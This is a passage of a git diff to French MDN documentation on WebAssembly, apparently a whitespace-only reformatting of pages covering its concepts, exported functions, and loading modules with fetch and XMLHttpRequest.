WEB de prendre avantage des points forts de chacun des deux langages : +WebAssembly est un langage différent de JavaScript, mais n'a pas pour but de le remplacer. Il faut plutôt l'envisager comme complément, travaillant "main dans la main" avec JavaScript, permettant ainsi aux développeurs WEB de prendre avantage des points forts de chacun des deux langages : -- JavaScript est un langage haut niveau, flexible et suffisamment expressif pour écrire des applications web. Il possède beaucoup d'avantages — il est dynamiquement typé, ne nécessite aucune étape de compilation, et a un écosystème foisonnant qui lui fourni de puissants frameworks, bibliothèques, et autres outils. -- WebAssembly est un langage bas niveau, de style assembleur, avec un format binaire compact qui tourne avec des performances proches du natif et fourni au langage une gestion bas niveau de la mémoire tout comme le C++ et Rust comme cible de compilation afin de pouvoir tourner sur le web. (Notez qu'une [priorité](http://webassembly.org/docs/high-level-goals/) de WebAssembly est de supporter les langages avec modèles de mémoire à garbage-collector dans le futur.) +- JavaScript est un langage haut niveau, flexible et suffisamment expressif pour écrire des applications web. Il possède beaucoup d'avantages — il est dynamiquement typé, ne nécessite aucune étape de compilation, et a un écosystème foisonnant qui lui fourni de puissants frameworks, bibliothèques, et autres outils. +- WebAssembly est un langage bas niveau, de style assembleur, avec un format binaire compact qui tourne avec des performances proches du natif et fourni au langage une gestion bas niveau de la mémoire tout comme le C++ et Rust comme cible de compilation afin de pouvoir tourner sur le web. (Notez qu'une [priorité](http://webassembly.org/docs/high-level-goals/) de WebAssembly est de supporter les langages avec modèles de mémoire à garbage-collector dans le futur.) Avec l'apparition du WebAssembly dans les navigateurs, la machine virtuelle dont nous parlions précédemment charge et exécute deux type de code - JavaScript ET WebAssembly. -Les deux différents type de code peuvent s'appeler si nécessaire — l'API WebAssembly JavaScript enveloppe le code exporté avec des fonctions JavaScript qui peuvent être appelées normalement et le code WebAssembly peut importer et appeler normalement de manière synchrone les fonctions JavaScript. En fait, l'unité de base de code WebAssembly est appelée module et est similaire par de nombreux aspects aux modules ES2015. +Les deux différents type de code peuvent s'appeler si nécessaire — l'API WebAssembly JavaScript enveloppe le code exporté avec des fonctions JavaScript qui peuvent être appelées normalement et le code WebAssembly peut importer et appeler normalement de manière synchrone les fonctions JavaScript. En fait, l'unité de base de code WebAssembly est appelée module et est similaire par de nombreux aspects aux modules ES2015. -### Les concepts clefs du WebAssembly +### Les concepts clefs du WebAssembly Il y a différents concepts clefs nécessaires pour comprendre comment fonctionne WebAssembly dans le navigateur. Tous ces concepts se retrouvent totalement dans l'API WebAssembly JavaScript. -- **Module** : Représente un binaire WebAssembly qui a été compilé en code exécutable par le navigateur. Un module est sans état et - comme un [Blob](/fr/docs/Web/API/Blob) - peut donc être explicitement[ mis en cache dans IndexedDB](/fr/WebAssembly/Caching_modules) ou partagé entre le contexte fenêtre et les workers (via [`postMessage()`](/fr/docs/Web/API/MessagePort/postMessage)). Un module déclare des imports et exports au même titre qu'un module ES2015. +- **Module** : Représente un binaire WebAssembly qui a été compilé en code exécutable par le navigateur. Un module est sans état et - comme un [Blob](/fr/docs/Web/API/Blob) - peut donc être explicitement[ mis en cache dans IndexedDB](/fr/WebAssembly/Caching_modules) ou partagé entre le contexte fenêtre et les workers (via [`postMessage()`](/fr/docs/Web/API/MessagePort/postMessage)). Un module déclare des imports et exports au même titre qu'un module ES2015. - **Mémoire** : Représente un ArrayBuffer redimensionnable qui contient un tableau d'octets contiguë accessible en lecture/écriture par les instructions bas niveau d'accès mémoire du WebAssembly. - **Table** : Représente un tableau typé de référence (comme par exemple des fonctions) qui ne peut pas être stocké de manière brute en mémoire (pour des raisons de sécurité et de portabilité). - **Instance** : Représente un module associé avec tous les états qu'il utilise à l'exécution à savoir la mémoire, la table précédemment citée et un ensemble de données importées. Une instance est comme un module ES2015 qui a été chargée dans un contexte global avec un ensemble d'imports. -L'API JavaScript fournit aux développeurs la capacité de créer des modules, de la mémoire, des tables et instances. Pour une instance WebAssembly donnée, le code JavaScript peut appeler - de manière synchrone - ses exports qui sont accessibles comme des fonctions JavaScript normales. De façon arbitraire, toute fonction JavaScript peut aussi être appelée - de manière synchrone - par du code WebAssembly en passant ces fonctions JavaScript comme des imports à une instance WebAssembly. +L'API JavaScript fournit aux développeurs la capacité de créer des modules, de la mémoire, des tables et instances. Pour une instance WebAssembly donnée, le code JavaScript peut appeler - de manière synchrone - ses exports qui sont accessibles comme des fonctions JavaScript normales. De façon arbitraire, toute fonction JavaScript peut aussi être appelée - de manière synchrone - par du code WebAssembly en passant ces fonctions JavaScript comme des imports à une instance WebAssembly. -Vu que JavaScript a un contrôle total sur la façon de charger, compiler et exécuter du code WebAssembly, les développeurs peuvent voir le WebAssembly comme une fonctionnalité JavaScript pour générer efficacement des fonctions très rapides. +Vu que JavaScript a un contrôle total sur la façon de charger, compiler et exécuter du code WebAssembly, les développeurs peuvent voir le WebAssembly comme une fonctionnalité JavaScript pour générer efficacement des fonctions très rapides. -Dans le futur, les modules WebAssembly seront chargeables comme des module ES2015 (en utilisant `<script type='module'>`), ce qui veut dire que JavaScript sera capable de récupérer, compiler et importer un module WebAssembly aussi facilement qu'un module ES2015. +Dans le futur, les modules WebAssembly seront chargeables comme des module ES2015 (en utilisant `<script type='module'>`), ce qui veut dire que JavaScript sera capable de récupérer, compiler et importer un module WebAssembly aussi facilement qu'un module ES2015. -## Comment utiliser WebAssembly dans son applicatif ? +## Comment utiliser WebAssembly dans son applicatif ? -Précédemment nous parlions des primitives bas niveau que WebAssembly ajoute à la plateforme Web : un format binaire pour le code et une API pour charger et exécuter ce code binaire. Maintenant, parlons de comment utiliser ces primitives en pratique. +Précédemment nous parlions des primitives bas niveau que WebAssembly ajoute à la plateforme Web : un format binaire pour le code et une API pour charger et exécuter ce code binaire. Maintenant, parlons de comment utiliser ces primitives en pratique. -L'écosystème WebAssembly est à un stade embryonnaire ; +L'écosystème WebAssembly est à un stade embryonnaire ; D'autres outils verront sans aucun doute le jour à l'avenir. Pour le moment, il y a trois points d'entrée principaux : @@ -83,27 +83,27 @@ L'outil Emscripten est capable de prendre du code source C/C++ et de le compiler En résumé, le principe de fonctionnement est le suivant : -1. D'abord, Emscripten alimente clang+LLVM - une chaîne de compilation open source mature empruntée par exemple à XCode sur OSX - avec le code C/C++. +1. D'abord, Emscripten alimente clang+LLVM - une chaîne de compilation open source mature empruntée par exemple à XCode sur OSX - avec le code C/C++. 2. Emscripten transforme ensuite le résultat compilé par clang+LLVM en binaire .wasm. -3. Par lui-même WebAssembly ne peut pour l'instant pas accéder directement au DOM ; Il peut seulement appeler JavaScript avec des données de type primitif entier ou flottant. Ainsi, pour accéder à toute API Web, WebAssembly a besoin d'appeler du JavaScript qui ensuite effectuera l'appel à l'API Web. C'est pourquoi Emscripten crée le document HTML et le code "passe-plat" JavaScript nécessaire pour atteindre cet objectif. +3. Par lui-même WebAssembly ne peut pour l'instant pas accéder directement au DOM ; Il peut seulement appeler JavaScript avec des données de type primitif entier ou flottant. Ainsi, pour accéder à toute API Web, WebAssembly a besoin d'appeler du JavaScript qui ensuite effectuera l'appel à l'API Web. C'est pourquoi Emscripten crée le document HTML et le code "passe-plat" JavaScript nécessaire pour atteindre cet objectif. -> **Note :** Il existe des propositions futures pour [ permettre au WebAssembly d'appeler directement l'API Web](https://github.com/WebAssembly/gc/blob/master/README.md). +> **Note :** Il existe des propositions futures pour [ permettre au WebAssembly d'appeler directement l'API Web](https://github.com/WebAssembly/gc/blob/master/README.md). -Le code "passe-plat" en JavaScript n'est pas aussi simple que vous pourriez l'imaginer. Pour le moment, Emscripten implémente des librairies C/C++ populaire comme [SDL](https://en.wikipedia.org/wiki/Simple_DirectMedia_Layer), [OpenGL](https://en.wikipedia.org/wiki/OpenGL), [OpenAL](https://en.wikipedia.org/wiki/OpenAL), et une partie de [POSIX](https://en.wikipedia.org/wiki/POSIX). Ces bibliothèques sont implémentées sous forme d'API Web et donc chacune d'entre elles requiert un peu de code JavaScript "passe-plat" pour relier WebAssembly à l'API Web sous-jacente. +Le code "passe-plat" en JavaScript n'est pas aussi simple que vous pourriez l'imaginer. Pour le moment, Emscripten implémente des librairies C/C++ populaire comme [SDL](https://en.wikipedia.org/wiki/Simple_DirectMedia_Layer), [OpenGL](https://en.wikipedia.org/wiki/OpenGL), [OpenAL](https://en.wikipedia.org/wiki/OpenAL), et une partie de [POSIX](https://en.wikipedia.org/wiki/POSIX). Ces bibliothèques sont implémentées sous forme d'API Web et donc chacune d'entre elles requiert un peu de code JavaScript "passe-plat" pour relier WebAssembly à l'API Web sous-jacente. Ainsi le code "passe-plat" implémente les fonctionnalités de chaque librairie utilisée par le C/C++. Le code "passe-plat" contient aussi la logique pour appeler l'API JavaScript WebAssembly pour chercher, charger et exécuter le fichier .wasm. -Le document HTML généré charge le fichier JavaScript contenant le code "passe-plat" et écrit stdout dans un {{htmlelement("textarea")}}. Si l'application utilise OpenGL, le HTML contient aussi un élément {{htmlelement("canvas")}} qui est utilisé comme cible de rendu. Il est vraiment simple de modifier la sortie Emscripten pour en faire l'application web que vous souhaitez. +Le document HTML généré charge le fichier JavaScript contenant le code "passe-plat" et écrit stdout dans un {{htmlelement("textarea")}}. Si l'application utilise OpenGL, le HTML contient aussi un élément {{htmlelement("canvas")}} qui est utilisé comme cible de rendu. Il est vraiment simple de modifier la sortie Emscripten pour en faire l'application web que vous souhaitez. -Vous pouvez trouver toute la documentation sur Emscripten à l'adresse [emscripten.org](http://emscripten.org), et un guide pour exploiter la chaîne de compilation et ainsi compiler votre propre application C/C++ en wasm à l'adresse [Compiler du C/C++ en WebAssembly](/fr/docs/WebAssembly/C_to_wasm). +Vous pouvez trouver toute la documentation sur Emscripten à l'adresse [emscripten.org](http://emscripten.org), et un guide pour exploiter la chaîne de compilation et ainsi compiler votre propre application C/C++ en wasm à l'adresse [Compiler du C/C++ en WebAssembly](/fr/docs/WebAssembly/C_to_wasm). ### Écrire du WebAssembly directement -Voulez vous construire votre propre compilateur ou vos propres outils ou faire une librairie JavaScript qui génère du WebAssembly à la volée ? +Voulez vous construire votre propre compilateur ou vos propres outils ou faire une librairie JavaScript qui génère du WebAssembly à la volée ? -De la même manière que les langages assembleur physiques, le format binaire du WebAssembly a une représentation textuelle. Ces deux formats ont un fonctionnement équivalents. Vous pouvez écrire ou générer ce format à la main et ensuite le convertir au format binaire avec un des nombreux [outils de conversion texte vers binaire WebAssembly](http://webassembly.org/getting-started/advanced-tools/). +De la même manière que les langages assembleur physiques, le format binaire du WebAssembly a une représentation textuelle. Ces deux formats ont un fonctionnement équivalents. Vous pouvez écrire ou générer ce format à la main et ensuite le convertir au format binaire avec un des nombreux [outils de conversion texte vers binaire WebAssembly](http://webassembly.org/getting-started/advanced-tools/). -Pour un guide simple sur comment réaliser ceci, regarder notre article [Convertir le WebAssembly au format text en wasm](/fr/docs/WebAssembly/Text_format_to_wasm). +Pour un guide simple sur comment réaliser ceci, regarder notre article [Convertir le WebAssembly au format text en wasm](/fr/docs/WebAssembly/Text_format_to_wasm). ## En résumé diff --git a/files/fr/webassembly/exported_functions/index.md b/files/fr/webassembly/exported_functions/index.md index 924153d611..4c584d3655 100644 --- a/files/fr/webassembly/exported_functions/index.md +++ b/files/fr/webassembly/exported_functions/index.md @@ -9,18 +9,18 @@ Les fonctions WebAssembly exportées sont la représentation des fonctions WebAs ## Exportée... quoi? -Les fonctions WebAssembly exportées sont simplement des emballages (wrappers) Javascript autour de fonction WebAssembly afin de les représenter dans un contexte Javascript. Lorsqu'elles sont appelées, une procédure en arrière plan est engagée afin d'obtenir une conversion des types compatible avec WebAssembly (Par exemple convertir `numbers` en `Int32`), les arguments sont transmis à la fonction au sein du module wasm, la fonction est invoquée, et enfin le résultat est à nouveau convertit et retourner à Javascript. +Les fonctions WebAssembly exportées sont simplement des emballages (wrappers) Javascript autour de fonction WebAssembly afin de les représenter dans un contexte Javascript. Lorsqu'elles sont appelées, une procédure en arrière plan est engagée afin d'obtenir une conversion des types compatible avec WebAssembly (Par exemple convertir `numbers` en `Int32`), les arguments sont transmis à la fonction au sein du module wasm, la fonction est invoquée, et enfin le résultat est à nouveau convertit et retourner à Javascript. Vous pouvez exporter les fonctions WebAssembly de deux manières: -- Par un appel à [`Table.prototype.get()`](/fr/docs/WebAssembly/API/Table/get) sur une table existante. +- Par un appel à [`Table.prototype.get()`](/fr/docs/WebAssembly/API/Table/get) sur une table existante. - Par un appel à une fonction exportée à partir de l'instance d'un module wasm via [`Instance.exports`](/fr/docs/WebAssembly/API/Instance/exports). -Dans les deux cas, vous obtenez le même genre de wrapper pour la fonction sous jacente. Du point de vue de JavaScript, une fonction wasm est une fonction JavaScript— A la différence prés qu'elles sont encapsulées par l'instance d'une fonction exportée wasm et qu'il y a un nombre limité de façon d'y accéder. +Dans les deux cas, vous obtenez le même genre de wrapper pour la fonction sous jacente. Du point de vue de JavaScript, une fonction wasm est une fonction JavaScript— A la différence prés qu'elles sont encapsulées par l'instance d'une fonction exportée wasm et qu'il y a un nombre limité de façon d'y accéder. ## Un exemple -Regardons un exemple pour mettre les choses au clair (tu peux le trouver sur GitHub sur [table-set.html](https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html); à voir également en [live ](https://mdn.github.io/webassembly-examples/other-examples/table-set.html), et check la [representation](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat) textuelle wasm): +Regardons un exemple pour mettre les choses au clair (tu peux le trouver sur GitHub sur [table-set.html](https://github.com/mdn/webassembly-examples/blob/master/other-examples/table-set.html); à voir également en [live ](https://mdn.github.io/webassembly-examples/other-examples/table-set.html), et check la [representation](https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat) textuelle wasm): ```js var otherTable = new WebAssembly.Table({ element: "anyfunc", initial: 2 }); @@ -37,24 +37,24 @@ WebAssembly.instantiateStreaming(fetch('table.wasm')) }); ``` -Dans cet exemple, nous créons une table (`otherTable`) à partir de JavaScript en utilisant le constructeur {{jsxref("WebAssembly.Table")}}, puis nous chargeons table.wasm dans notre page en utilisant la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}. +Dans cet exemple, nous créons une table (`otherTable`) à partir de JavaScript en utilisant le constructeur {{jsxref("WebAssembly.Table")}}, puis nous chargeons table.wasm dans notre page en utilisant la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}. -Nous pouvons ensuite accéder aux fonctions exportées à partir du module, récupérer les références de chaque fonction via [`tbl.get()`](/fr/docs/WebAssembly/API/Table/get) et logguer le résultat de chacune d'elles dans la console. Enfin, nous utilisons `set()` avec la table `otherTable` afin de lui fournir les references aux mêmes functions que la table `tbl`. +Nous pouvons ensuite accéder aux fonctions exportées à partir du module, récupérer les références de chaque fonction via [`tbl.get()`](/fr/docs/WebAssembly/API/Table/get) et logguer le résultat de chacune d'elles dans la console. Enfin, nous utilisons `set()` avec la table `otherTable` afin de lui fournir les references aux mêmes functions que la table `tbl`. -Pour vérifier que cela à fonctionné correctement, nous récupérons les références de la table `otherTable` et imprimons également les résultats dans la console, et les résultats sont identiques aux précédents. +Pour vérifier que cela à fonctionné correctement, nous récupérons les références de la table `otherTable` et imprimons également les résultats dans la console, et les résultats sont identiques aux précédents. ## Des fonctions à part entière -Dans l'exemple précédent, la valeur de retour de chaque appel à [`Table.prototype.get()`](/fr/docs/WebAssembly/API/Table/get) est une fonction WebAssembly exportée — exactement ce dont nous avons parlé jusqu'à maintenant. +Dans l'exemple précédent, la valeur de retour de chaque appel à [`Table.prototype.get()`](/fr/docs/WebAssembly/API/Table/get) est une fonction WebAssembly exportée — exactement ce dont nous avons parlé jusqu'à maintenant. -Il vaut la peine d'être noté que ceux sont des fonctions JavaScript à part entière, en plus d'être un emballage à des fonctions WebAssembly. Si vous chargez l'exemple ci-dessus dans un navigateur compatible avec WebAssembly, et excécutez les lignes suivantes dans votre console: +Il vaut la peine d'être noté que ceux sont des fonctions JavaScript à part entière, en plus d'être un emballage à des fonctions WebAssembly. Si vous chargez l'exemple ci-dessus dans un navigateur compatible avec WebAssembly, et excécutez les lignes suivantes dans votre console: ```js var testFunc = otherTable.get(0); typeof testFunc; ``` -Vous obtiendrez le résultat `function` en valeur de retour. Cette fonction peut effectuer tout ce qu'une fonction Javascript classique peut effectuer — [`call()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/call), [`bind()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/bind), etc. `testFunc.toString()` retourne un résultat intéressant: +Vous obtiendrez le résultat `function` en valeur de retour. Cette fonction peut effectuer tout ce qu'une fonction Javascript classique peut effectuer — [`call()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/call), [`bind()`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Function/bind), etc. `testFunc.toString()` retourne un résultat intéressant: ```js function 0() { diff --git a/files/fr/webassembly/index.md b/files/fr/webassembly/index.md index 18784dcd32..8f7b7aa70c 100644 --- a/files/fr/webassembly/index.md +++ b/files/fr/webassembly/index.md @@ -15,7 +15,7 @@ WebAssembly est un nouveau type de code qui peut être exécuté dans un navigat WebAssembly représente une avancée fondamentale de la plateforme web. Il permet d'exécuter du code (éventuellement écrit depuis différents langages) sur le Web avec des performances similaires aux applications natives. -WebAssembly est conçu pour être utilisé de pair avec JavaScript. Grâce à l'API JavaScript WebAssembly, on peut charger des modules WebAssembly au sein d'une application JavaScript et partager des fonctionnalités entre les deux. Cela permet de tirer parti des performances de WebAssembly et de la flexibilité de JavaScript, même si on ne sait pas écrire du code WebAssembly. +WebAssembly est conçu pour être utilisé de pair avec JavaScript. Grâce à l'API JavaScript WebAssembly, on peut charger des modules WebAssembly au sein d'une application JavaScript et partager des fonctionnalités entre les deux. Cela permet de tirer parti des performances de WebAssembly et de la flexibilité de JavaScript, même si on ne sait pas écrire du code WebAssembly. WebAssembly est conçu comme un standard web par le [groupe communautaire du W3C pour WebAssembly](https://www.w3.org/community/webassembly/) auquel participe les différents éditeurs de navigateur. diff --git a/files/fr/webassembly/loading_and_running/index.md b/files/fr/webassembly/loading_and_running/index.md index 39e623ca37..ea05e37983 100644 --- a/files/fr/webassembly/loading_and_running/index.md +++ b/files/fr/webassembly/loading_and_running/index.md @@ -3,23 +3,23 @@ title: Loading and running WebAssembly code slug: WebAssembly/Loading_and_running translation_of: WebAssembly/Loading_and_running --- -{{WebAssemblySidebar}}Pour utiliser webassembly au sein de javascript, votre module doit être placé en mémoire. La mise en mémoire du module précède les étapes de compiliation et d'instantiation. Cet article fournit une référence pour les différents méchanismes qui permettent de récupérer le bytecode webassembly, ainsi que des informations sur la manière de le compiler, l'instancier, et l'exécuter. +{{WebAssemblySidebar}}Pour utiliser webassembly au sein de javascript, votre module doit être placé en mémoire. La mise en mémoire du module précède les étapes de compiliation et d'instantiation. Cet article fournit une référence pour les différents méchanismes qui permettent de récupérer le bytecode webassembly, ainsi que des informations sur la manière de le compiler, l'instancier, et l'exécuter. ## Quelles sont les différentes options? -Webassembly n'est pas encore intégré à `<script type='module'>` ou ES2015 `import`, autrement dit le navigateur ne peut pas récuperer les modules à l'aide de déclaration d'imports. +Webassembly n'est pas encore intégré à `<script type='module'>` ou ES2015 `import`, autrement dit le navigateur ne peut pas récuperer les modules à l'aide de déclaration d'imports. -Les anciennes méthodes {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} requièrent la création d'un {{domxref("ArrayBuffer")}} contenant le binaire de votre module webassembly sous forme d'octet brut, pour ensuite effectuer sa compilation et son instantiation. Cette approche est simialire à `new Function(string)`, à la différence que dans notre cas, nous substituons une chaine de charactères par une chaine de bytes (le code source webassembly). +Les anciennes méthodes {{jsxref("WebAssembly.compile")}}/{{jsxref("WebAssembly.instantiate")}} requièrent la création d'un {{domxref("ArrayBuffer")}} contenant le binaire de votre module webassembly sous forme d'octet brut, pour ensuite effectuer sa compilation et son instantiation. Cette approche est simialire à `new Function(string)`, à la différence que dans notre cas, nous substituons une chaine de charactères par une chaine de bytes (le code source webassembly). -Les nouvelles méthodes {{jsxref("WebAssembly.compileStreaming")}}/{{jsxref("WebAssembly.instantiateStreaming")}} sont beaucoup plus efficace — elles s'applique directement sur le flux d'octets récupérer par le réseau, et ne nécessite pas l'utilisaton d'un {{domxref("ArrayBuffer")}}. +Les nouvelles méthodes {{jsxref("WebAssembly.compileStreaming")}}/{{jsxref("WebAssembly.instantiateStreaming")}} sont beaucoup plus efficace — elles s'applique directement sur le flux d'octets récupérer par le réseau, et ne nécessite pas l'utilisaton d'un {{domxref("ArrayBuffer")}}. Quelle est donc la démarche à suivre pour obtenir cet array buffer et le compiler ? La réponse dans les sections suivantes. -## En utilisant Fetch +## En utilisant Fetch -[Fetch](/fr/docs/Web/API/Fetch_API) est une API qui facilite la récupération de ressources sur le réseau. +[Fetch](/fr/docs/Web/API/Fetch_API) est une API qui facilite la récupération de ressources sur le réseau. -La façon la plus rapide et la plus efficace de récupérer un module wasm (webassembly) est d'utiliser la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}, qui accepte comme premier argument un appel de fonction `fetch()`, et s'occupe de récupérer, compiler, et instancier le module en une seule et même étape, en accedant directement au flux de code binaire provenant du serveur: +La façon la plus rapide et la plus efficace de récupérer un module wasm (webassembly) est d'utiliser la méthode {{jsxref("WebAssembly.instantiateStreaming()")}}, qui accepte comme premier argument un appel de fonction `fetch()`, et s'occupe de récupérer, compiler, et instancier le module en une seule et même étape, en accedant directement au flux de code binaire provenant du serveur: ```js WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) @@ -28,7 +28,7 @@ WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject) }); ``` -L'ancienne méthode {{jsxref("WebAssembly.instantiate()")}} n'accède pas directement au flux de données. Elle nécessite une étape supplémentaire afin de convertir le byte code récupéré en {{domxref("ArrayBuffer")}}. Elle s'implemente de cette façon: +L'ancienne méthode {{jsxref("WebAssembly.instantiate()")}} n'accède pas directement au flux de données. Elle nécessite une étape supplémentaire afin de convertir le byte code récupéré en {{domxref("ArrayBuffer")}}. Elle s'implemente de cette façon: ```js fetch('module.wasm').then(response => @@ -53,11 +53,11 @@ The {{jsxref("WebAssembly.instantiate()")}} function has two overload forms — > **Note :** En règle générale, on ne s'intéresse qu'à l'instance, mais il peut être utile de préserver le module afin de le mettre ultérieurement en cache, de le partager avec un autre worker ou window via [`postMessage()`](/fr/docs/Web/API/MessagePort/postMessage), ou tout simplement pour créer d'autres instances. -> **Note :** Un chargement supplémentaire du module nécessite un object de type {{jsxref("WebAssembly.Module")}} comme argument, et retourne une promesse contenant directement un objet de type instance comme résultat. Voir [Second overload example](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Second_overload_example). +> **Note :** Un chargement supplémentaire du module nécessite un object de type {{jsxref("WebAssembly.Module")}} comme argument, et retourne une promesse contenant directement un objet de type instance comme résultat. Voir [Second overload example](/fr/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate#Second_overload_example). ### Mise en marche du code webassembly -Une fois l'instance webassembly disponible au sein de Javascript, vous pouvez commencer à utiliser les fonctionnalités exportées, accessibles via la propriété {{jsxref("WebAssembly.Instance/exports", "WebAssembly.Instance.exports")}}. Votre code peut s'organsier de la manière suivante: +Une fois l'instance webassembly disponible au sein de Javascript, vous pouvez commencer à utiliser les fonctionnalités exportées, accessibles via la propriété {{jsxref("WebAssembly.Instance/exports", "WebAssembly.Instance.exports")}}. Votre code peut s'organsier de la manière suivante: ```js WebAssembly.instantiateStreaming(fetch('myModule.wasm'), importObject) @@ -74,16 +74,16 @@ WebAssembly.instantiateStreaming(fetch('myModule.wasm'), importObject) }) ``` -> **Note :** Pour plus d'informations sur la façon dont fonctionne l'exportation au sein d'un module webassembly, lisez [Using the WebAssembly JavaScript API](/fr/docs/WebAssembly/Using_the_JavaScript_API), et [Understanding WebAssembly text format](/fr/docs/WebAssembly/Understanding_the_text_format). +> **Note :** Pour plus d'informations sur la façon dont fonctionne l'exportation au sein d'un module webassembly, lisez [Using the WebAssembly JavaScript API](/fr/docs/WebAssembly/Using_the_JavaScript_API), et [Understanding WebAssembly text format](/fr/docs/WebAssembly/Understanding_the_text_format). -## En utilisant XMLHttpRequest +## En utilisant XMLHttpRequest -[`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) est plus ancien que Fetch, mais peut toujours être utiliser afin récupérer un array buffer. En supposant que notre module se nome `simple.wasm`: +[`XMLHttpRequest`](/fr/docs/Web/API/XMLHttpRequest) est plus ancien que Fetch, mais peut toujours être utiliser afin récupérer un array buffer. En supposant que notre module se nome `simple.wasm`: -1. Créer une nouvel instance {{domxref("XMLHttpRequest()")}}, afin d'utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} nécessaire pour ouvrir une requête. Paramètrer la requête avec une méthode `GET`, et y déclarer le chemin du fichier que nous souhaiter récupérer. -2. L'étape essentielle est içi de définir la réponse comme une réponse de type `'arraybuffer'` en utilisant la propriété {{domxref("XMLHttpRequest.responseType","responseType")}}. -3. Ensuite, la requête est envoyée à l'aide de la méthode {{domxref("XMLHttpRequest.send()")}}. -4. Enfin l'event handler {{domxref("XMLHttpRequest.onload", "onload")}} se charge d'invoquer une fonction lorsque la réponse a terminé de se télécharger — au sein de cette fonction, la propriété {{domxref("XMLHttpRequest.response", "response")}} nous donne accès à un array buffer. Celui ci est fournit à notre méthode {{jsxref("WebAssembly.instantiate()")}} d'un manière similaire à ce qui est fait avec la méthode Fetch(). +1. Créer une nouvel instance {{domxref("XMLHttpRequest()")}}, afin d'utiliser la méthode {{domxref("XMLHttpRequest.open","open()")}} nécessaire pour ouvrir une requête. Paramètrer la requête avec une méthode `GET`, et y déclarer le chemin du fichier que nous souhaiter récupérer. +2. L'étape essentielle est içi de définir la réponse comme une réponse de type `'arraybuffer'` en utilisant la propriété {{domxref("XMLHttpRequest.responseType","responseType")}}. +3. Ensuite, la requête est envoyée à l'aide de la méthode {{domxref("XMLHttpRequest.send()")}}. +4. Enfin l'event handler {{domxref("XMLHttpRequest.onload", "onload")}} se charge d'invoquer une fonction lorsque la réponse a terminé de se télécharger — au sein de cette fonction, la propriété {{domxref("XMLHttpRequest.response", "response")}} nous donne accès à un array buffer. Celui ci est fournit à notre méthode {{jsxref("WebAssembly.instantiate()")}} d'un manière similaire à ce qui est fait avec la méthode Fetch(). Le code final est le suivant: @@ -101,4 +101,4 @@ request.onload = function() { }; ``` -> **Note :** Vous pouvez retrouver un autre exemple sur [xhr-wasm.html](https://mdn.github.io/webassembly-examples/js-api-examples/xhr-wasm.html). +> **Note :** Vous pouvez retrouver un autre exemple sur [xhr-wasm.html](https://mdn.github.io/webassembly-examples/js-api-examples/xhr-wasm.html). diff --git a/files/fr/webassembly/using_the_javascript_api/index.md b/files/fr/webassembly/using_the_javascript_api/index.md index 4082a10a13..681381b9cb 100644 --- a/files/fr/webassembly/using_the_javascript_api/index.md +++ b/files/fr/webassembly/using_the_javascript_api/index.md @@ -5,22 +5,22 @@ translation_of: WebAssembly/Using_the_JavaScript_API --- {{WebAssemblySidebar}} -Si vous avez déjà [compilé un module depuis un autre langage en utilisant des outils comme Emscripten](/fr/docs/WebAssembly/C_to_wasm), ou [chargé et éxecuté vous-même le code](/fr/docs/WebAssembly/Loading_and_running), l'étape suivante est d'en apprendre plus à propos des autres fonctionnalités de l'API JavaScript WebAssembly. Cet article vous enseigne ce que vous aurez besoin de connaître. +Si vous avez déjà [compilé un module depuis un autre langage en utilisant des outils comme Emscripten](/fr/docs/WebAssembly/C_to_wasm), ou [chargé et éxecuté vous-même le code](/fr/docs/WebAssembly/Loading_and_running), l'étape suivante est d'en apprendre plus à propos des autres fonctionnalités de l'API JavaScript WebAssembly. Cet article vous enseigne ce que vous aurez besoin de connaître. -> **Note :** Si vous n'êtes pas familier avec les concepts de base mentionnés dans cet article et vous avez besoin de plus d'explication, lisez d'abord [WebAssembly concepts](/fr/docs/WebAssembly/Concepts). +> **Note :** Si vous n'êtes pas familier avec les concepts de base mentionnés dans cet article et vous avez besoin de plus d'explication, lisez d'abord [WebAssembly concepts](/fr/docs/WebAssembly/Concepts). ## Quelques exemples simples -Parcourons quelques exemples illustrant l'utilisation de l'API Webassembly JavaScript, et en particulier la manière dont elle peut être utilisé pour charger un module wasm au sein d'une page web. +Parcourons quelques exemples illustrant l'utilisation de l'API Webassembly JavaScript, et en particulier la manière dont elle peut être utilisé pour charger un module wasm au sein d'une page web. -> **Note :** Vous pouvez trouver des exemples de code dans notre repo GitHub [webassembly-examples](https://github.com/mdn/webassembly-examples). +> **Note :** Vous pouvez trouver des exemples de code dans notre repo GitHub [webassembly-examples](https://github.com/mdn/webassembly-examples). ### Préparation 1. Premièrement nous avons besoin d'un module wasm ! Récupérez notre fichier [simple.wasm](https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm) et sauvegardez une copie dans un nouveau document sur votre machine locale. 2. Ensuite, assurez-vous d'utiliser un navigateur supportant WebAssembly. Firefox 52+ et Chrome 57+ supportent WebAssembly par défaut. -3. Pour poursuivre, créez un simple fichier nommé `index.html` dans le même dossier que votre fichier wasm (vous pouvez utiliser notre [template simple](https://github.com/mdn/webassembly-examples/blob/master/template/template.html) si vous n'en avez pas de facilement accessible). -4. Maintenant, pour nous aider à comprendre ce qui se passe ici, regardons la représentation textuelle de notre module wasm (que nous rencontrons aussi dans [Converting WebAssembly format to wasm](/fr/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format)): +3. Pour poursuivre, créez un simple fichier nommé `index.html` dans le même dossier que votre fichier wasm (vous pouvez utiliser notre [template simple](https://github.com/mdn/webassembly-examples/blob/master/template/template.html) si vous n'en avez pas de facilement accessible). +4. Maintenant, pour nous aider à comprendre ce qui se passe ici, regardons la représentation textuelle de notre module wasm (que nous rencontrons aussi dans [Converting WebAssembly format to 